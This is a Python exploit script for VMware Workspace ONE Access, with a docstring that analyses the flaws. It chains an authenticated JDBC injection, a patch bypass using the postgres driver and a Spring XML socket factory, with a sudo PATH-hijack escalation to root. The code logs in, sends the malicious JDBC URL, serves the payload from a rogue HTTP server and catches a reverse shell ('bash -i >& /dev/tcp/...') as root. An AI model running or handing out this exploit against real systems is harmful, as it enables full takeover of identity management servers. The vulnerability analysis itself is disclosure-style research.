#!/usr/bin/env python3 """ VMware Workspace ONE Access ApplicationSetupController dbTestConnection JDBC Injection Remote Code Execution Exploit Steven Seeley of Qihoo 360 Vulnerability Research Institute # Summary: This vulnerability allows a remote attacker authenticated as admin to execute remote code as horizon. The attacker can chain this with another vulnerability to achieve code execution as root. # Notes: This is a patch bypass for CVE-2022-22958 chained with a new LPE exploit. VMware has patched the bugs in this report and released an advisory here: https://www.vmware.com/security/advisories/VMSA-2022-0021.html. # Vulnerability Analysis: ## ApplicationSetupController dbTestConnection JDBC Injection (CVE-2022-31665) Inside of the com.vmware.horizon.svadmin.controller.ApplicationSetupController we can see the following code: ```java /* */ public AjaxResponse dbTestConnection(@RequestParam("jdbcurl") String jdbcUrl, @RequestParam("dbUsername") String dbUsername, @RequestParam("dbPassword") String dbPassword) { try { /* 65 */ validateDbFields(jdbcUrl, dbUsername, dbPassword); /* 66 */ } catch (AdminPortalException e) { /* 67 */ return new AjaxResponse(Messages.getMessage(e.getErrorId(), e.getArgs()), Integer.valueOf(1), false); /* */ } /* */ /* */ try { /* 71 */ log.info("Testing database connection... jdbcUrl {}, dbUsername {}, passwordSet? {}", new Object[] { jdbcUrl, dbUsername, /* 72 */ Boolean.valueOf(StringUtils.isNotBlank(dbPassword)) }); /* 73 */ dbPassword = getDatabasePassword(dbPassword); /* 74 */ this.applicationSetupService.testDatabaseConnection(jdbcUrl, dbUsername, dbPassword); // 1 /* 75 */ } catch (AdminPortalException e) { /* 76 */ String error = null; /* 77 */ if (StringUtils.isNotBlank(e.getMessage())) { /* 78 */ error = this.applianceDiagnosticService.getLocalizedDBErrorMessages(e.getMessage()); /* */ } /* */ /* 81 */ return new AjaxResponse(Messages.getMessage("configurator.configure.db.testFailed", new Object[] { error /* 82 */ }), Integer.valueOf(2), false); /* */ } /* 84 */ return new AjaxResponse(Messages.getMessage("configurator.configure.db.testSuccess"), Integer.valueOf(0), true); } ``` At [1] the code calls `ApplicationSetupService.testDatabaseConnection` ```java /* */ public void testDatabaseConnection(@NotNull String jdbcUrl, @NotNull String dbUsername, @NotNull String dbPassword, boolean checkCreateTableAccess) throws AdminPortalException { /* */ String[] cmd; /* 210 */ log.debug("Testing db connection params jdbcUrl: {}", jdbcUrl); /* */ /* 212 */ String encryptedPwd = this.configEncrypter.encrypt(dbPassword); /* */ /* */ /* 215 */ dbUsername = AppliancePasswordService.escapeArg(dbUsername); /* 216 */ jdbcUrl = AppliancePasswordService.escapeArg(jdbcUrl); /* */ /* 218 */ if (Const.isWindowsDeployment) { /* 219 */ cmd = new String[] { COMMAND_SHELL, COMMAND_SHELL_ARG, "\"\"" + TEST_DB_CONNECTION_CMD + "\"" + " " + jdbcUrl + " " + dbUsername + " \"" + encryptedPwd + "\" " + checkCreateTableAccess + "\"" }; /* */ } else { /* 221 */ cmd = new String[] { COMMAND_SHELL, COMMAND_SHELL_ARG, TEST_DB_CONNECTION_CMD + " " + jdbcUrl + " " + dbUsername + " '" + encryptedPwd + "' " + checkCreateTableAccess }; /* */ } /* */ /* */ try { /* 225 */ CommandUtils.executeCommand(cmd); // 2 /* 226 */ } catch (CommandException e) { /* 227 */ log.error(String.format("Error testing DB Connection with jdbc url: %s, user: %s.", new Object[] { jdbcUrl, dbUsername })); /* 228 */ throw new AdminPortalException(StringUtils.removeStart(e.getStdOut(), "ERROR:").trim(), e); /* 229 */ } catch (IOException e) { /* 230 */ log.error(String.format("Error testing DB Connection with jdbc url: %s, user: %s.", new Object[] { jdbcUrl, dbUsername })); /* 231 */ throw new AdminPortalException(e.getMessage(), e); /* */ } /* */ } ``` At [2] the code executes the `/usr/local/horizon/bin/dbConnCheck` script which runs the following command. The `AppliancePasswordService.escapeArg` method is safe from injection attacks here (patch for CVE-2020-4006). Inside the script, we see the code drops privileges and calls `com.vmware.horizon.dbConnectionCheck.Main`: ```sh if [[ $EUID -eq 0 ]]; then params=() for v in "$@" ; do params+=( $(escape "$v") ) done su ${TOMCAT_USER} -c "$JAVACMD $HZN_TOOL_OPTS -cp ${BC_JAR}:${ADMIN_JAR} com.vmware.horizon.dbConnectionCheck.Main ${params[*]}" 2>/dev/null else $JAVACMD $HZN_TOOL_OPTS -cp ${BC_JAR}:${ADMIN_JAR} com.vmware.horizon.dbConnectionCheck.Main $@ 2>/dev/null fi ``` The resultant command is: ``` su horizon -c /usr/java/jre-vmware/bin/java -Dlog4j.configurationFile=file:/usr/local/horizon/conf/saas-log4j.properties -Dcatalina.base=/opt/vmware/horizon/workspace -Didm.fips.mode.required=true -Djava.security.properties=/opt/vmware/horizon/workspace/conf/idm_fips.security -Dorg.bouncycastle.fips.approved_only=true -cp /usr/local/horizon/jre-endorsed/bc-fips-1.0.1.BC-FIPS-Certified.jar:/usr/local/horizon/jars/dbConnection-0.1-jar-with-dependencies.jar com.vmware.horizon.dbConnectionCheck.Main true 2>/dev/null ``` where is controlled by the attacker. This can lead to an attacker crafting a jdbc uri using specifying a mysql driver and trigger deserialization of untrusted data. The `CommonsBeanutils1` gadget from ysoserial will work to enable an attacker to gain remote code execution. Below is the stack trace starting from the `com.vmware.horizon.dbConnectionCheck.Main` class that is executing a command (see poc.png): ``` ProcessBuilder.start() line: 1007 [local variables unavailable] NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) line: not available [native method] NativeMethodAccessorImpl.invoke(Object, Object[]) line: 62 DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43 Method.invoke(Object, Object...) line: 498 ReflectiveMethodExecutor.execute(EvaluationContext, Object, Object...) line: 129 MethodReference.getValueInternal(EvaluationContext, Object, TypeDescriptor, Object[]) line: 139 MethodReference.access$000(MethodReference, EvaluationContext, Object, TypeDescriptor, Object[]) line: 55 MethodReference$MethodValueRef.getValue() line: 387 CompoundExpression.getValueInternal(ExpressionState) line: 92 CompoundExpression(SpelNodeImpl).getValue(ExpressionState) line: 112 SpelExpression.getValue(EvaluationContext) line: 272 StandardBeanExpressionResolver.evaluate(String, BeanExpressionContext) line: 166 DefaultListableBeanFactory(AbstractBeanFactory).evaluateBeanDefinitionString(String, BeanDefinition) line: 1575 BeanDefinitionValueResolver.doEvaluate(String) line: 280 BeanDefinitionValueResolver.evaluate(TypedStringValue) line: 237 BeanDefinitionValueResolver.resolveValueIfNecessary(Object, Object) line: 205 DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).applyPropertyValues(String, BeanDefinition, BeanWrapper, PropertyValues) line: 1702 DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).populateBean(String, RootBeanDefinition, BeanWrapper) line: 1447 DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).doCreateBean(String, RootBeanDefinition, Object[]) line: 593 DefaultListableBeanFactory(AbstractAutowireCapableBeanFactory).createBean(String, RootBeanDefinition, Object[]) line: 516 DefaultListableBeanFactory(AbstractBeanFactory).lambda$doGetBean$0(String, RootBeanDefinition, Object[]) line: 324 761923430.getObject() line: not available DefaultListableBeanFactory(DefaultSingletonBeanRegistry).getSingleton(String, ObjectFactory) line: 234 DefaultListableBeanFactory(AbstractBeanFactory).doGetBean(String, Class, Object[], boolean) line: 322 DefaultListableBeanFactory(AbstractBeanFactory).getBean(String) line: 202 DefaultListableBeanFactory.preInstantiateSingletons() line: 897 FileSystemXmlApplicationContext(AbstractApplicationContext).finishBeanFactoryInitialization(ConfigurableListableBeanFactory) line: 879 FileSystemXmlApplicationContext(AbstractApplicationContext).refresh() line: 551 FileSystemXmlApplicationContext.(String[], boolean, ApplicationContext) line: 142 FileSystemXmlApplicationContext.(String) line: 85 NativeConstructorAccessorImpl.newInstance0(Constructor, Object[]) line: not available [native method] NativeConstructorAccessorImpl.newInstance(Object[]) line: 62 DelegatingConstructorAccessorImpl.newInstance(Object[]) line: 45 Constructor.newInstance(Object...) line: 423 ObjectFactory.instantiate(String, Properties, boolean, String) line: 62 SocketFactoryFactory.getSocketFactory(Properties) line: 39 ConnectionFactoryImpl.openConnectionImpl(HostSpec[], String, String, Properties) line: 182 ConnectionFactory.openConnection(HostSpec[], String, String, Properties) line: 51 PgConnection.(HostSpec[], String, String, Properties, String) line: 223 Driver.makeConnection(String, Properties) line: 465 Driver.connect(String, Properties) line: 264 DriverManager.getConnection(String, Properties, Class) line: 664 DriverManager.getConnection(String, String, String) line: 247 DbConnectionCheckServiceImpl$FactoryHelper.getConnection(String, String, String) line: 444 DbConnectionCheckServiceImpl.testConnection(String, String, String, boolean) line: 141 DbConnectionCheckServiceImpl.checkConnection(String, String, String, boolean) line: 95 Main.main(String[]) line: 61 ``` ## ntpServer.hzn Privilege Escalation Vulnerability (CVE-2022-31664) Inside of the /etc/sudoers file we see: ``` ... horizon ALL = NOPASSWD: /usr/local/horizon/scripts/horizonService.sh, \ ... /usr/local/horizon/scripts/ntpServer.hzn, \ ... ``` This means we can execute the /usr/local/horizon/scripts/ntpServer.hzn script as root. Studying this file we find: ``` ... function check_ntp_server() { # check connectivity to the given ntp server NTP_SERVER=$1 for i in $(echo $NTP_SERVER | tr "," "\n") do echo "####### Checking for NTP server : $i ########" sntp $i // 2 echo "##############################################################" echo " " done } ... case "$1" in --get) get_ntp_server ;; --check) if [ -z "$2" ] then usage fi check_ntp_server $2 // 1 ``` This code will call `check_ntp_server` at [1]. Then at [2] the code executes the file `sntp`. The problem here is that the file doesn't exist: ``` root@vidm [ /home/sshuser ]# find / -type f -name "sntp" root@vidm [ /home/sshuser ]# ``` So an attacker can modify the path and add a writeable directory to it and then create the sntp file: ``` horizon@vidm [ /tmp ]$ cat lpe #!/bin/bash FILENAME=sntp rm -rf $FILENAME cd /tmp echo '#!/bin/bash' > $FILENAME echo 'bash' >> $FILENAME chmod 777 $FILENAME PATH=".:$PATH" sudo /usr/local/horizon/scripts/ntpServer.hzn --check lol horizon@vidm [ /tmp ]$ ./lpe ####### Checking for NTP server : lol ######## root [ /tmp ]# id uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) root [ /tmp ]# ``` # Exploitation: To bypass the patch, all I did was use the postgres driver for an attack, instead of MySQL. So it wasn't enough to remove the MySQL Driver and/or gadget chain within the code base. # Example: ``` researcher@mars:~/research/vidm/patch-bypass$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.2.97 192.168.2.234 admin:Admin22# researcher@mars:~/research/vidm/patch-bypass$ ./poc.py 192.168.2.97 192.168.2.234 admin:Admin22# (+) attacking target via the postgresql driver (+) rogue http server listening on 0.0.0.0:9090 (+) starting handler on port 1234 (+) logged in as admin (+) triggering jdbc attack... (+) connection from 192.168.2.97 (+) pop thy shell! bash: cannot set terminal process group (1686): Inappropriate ioctl for device bash: no job control in this shell root [ /tmp ]# id id uid=0(root) gid=0(root) groups=0(root),1000(vami),1004(sshaccess) root [ /tmp ]# uname -a uname -a Linux vidm.localdomain 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 x86_64 GNU/Linux root [ /tmp ]# ``` """ import re import sys import socket import requests from base64 import b64encode from telnetlib import Telnet from threading import Thread from colorama import Fore, Style, Back from random import getrandbits, choice from urllib3 import disable_warnings, exceptions from http.server import BaseHTTPRequestHandler, HTTPServer disable_warnings(exceptions.InsecureRequestWarning) beans = """ /bin/bash -c """ lpe_payload = """#!/bin/bash FILENAME=sntp rm -rf $FILENAME cd /tmp echo '#!/bin/bash' > $FILENAME echo 'bash -i >& /dev/tcp/{rhost}/{rport} 0>&1' >> $FILENAME chmod 777 $FILENAME PATH=".:$PATH" sudo /usr/local/horizon/scripts/ntpServer.hzn --check lol""" class http_server(BaseHTTPRequestHandler): def log_message(self, format, *args): return def _set_response(self, d): self.send_response(200) self.send_header('Content-type', 'text/xml') self.send_header('Content-Length', len(d)) self.end_headers() def do_GET(self): if self.path.endswith("poc.xml"): lpe = lpe_payload.format(rhost=rhost, rport=rport) message = beans.format(lpe=b64encode(str.encode(lpe)).decode()) self._set_response(message) self.wfile.write(message.encode('utf-8')) self.wfile.write('\n'.encode('utf-8')) def login(t, u , p): d = { "username": u, "password": p } r = requests.post("https://%s:8443/cfg/j_security_check" % t, data=d, verify=False, allow_redirects=False) assert r.headers['location'] != "/cfg/login?failure=true", "(-) authentication failed, check your credentials" assert "JSESSIONID" in r.headers['set-cookie'], "(-) no jsessionid recieved, check your credentials" m = re.search("JSESSIONID=(.{32});",r.headers['set-cookie']) return m.group(1) def get_tk(t, c): r = requests.get("https://%s:8443/cfg/setup" % t, cookies=c, verify=False) m = re.search("window.ec_wiz.vk = '(.*)';", r.text) assert m, "(-) cannot find csrf token!" return m.group(1) def trigger_jdbc(t, c, tk, uri): h = {"X-Vk" : tk} d = { "jdbcurl" : uri, "dbUsername": "junk", "dbPassword" : "junk", "encryptConnection": False # needed for } requests.post("https://%s:8443/cfg/setup/test" % t, headers=h, data=d, cookies=c, verify=False) def handler(lp): print(f"(+) starting handler on port {lp}") t = Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print(f"(+) connection from {addr[0]}") t.sock = conn print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}") t.interact() def main(): global rhost, rport if len(sys.argv) != 4: print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s 192.168.2.97 192.168.2.234 admin:Admin22#" % sys.argv[0]) sys.exit(1) assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format" target = sys.argv[1] rhost = sys.argv[2] rport = 1234 http_port = 9090 if ":" in sys.argv[2]: rhost = sys.argv[2].split(":")[0] assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!" rport = int(sys.argv[2].split(":")[1]) usr = sys.argv[3].split(":")[0] pwd = sys.argv[3].split(":")[1] # patch bypass for CVE-2022-22958 jdbc = f"jdbc:postgresql://blah:1337/saas?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://{rhost}:9090/poc.xml" cookie = { "JSESSIONID": login(target, usr, pwd) } tk = get_tk(target, cookie) server = HTTPServer(('0.0.0.0', http_port), http_server) handlerthr = Thread(target=server.serve_forever, args=[]) handlerthr.daemon = True handlerthr.start() print(f"(+) attacking target via the postgresql driver") print(f"(+) rogue http server listening on 0.0.0.0:{http_port}") handlerthr = Thread(target=handler, args=[rport]) handlerthr.start() print("(+) logged in as %s" % usr) print("(+) triggering jdbc attack...") trigger_jdbc(target, cookie, tk, jdbc) if __name__ == "__main__": main()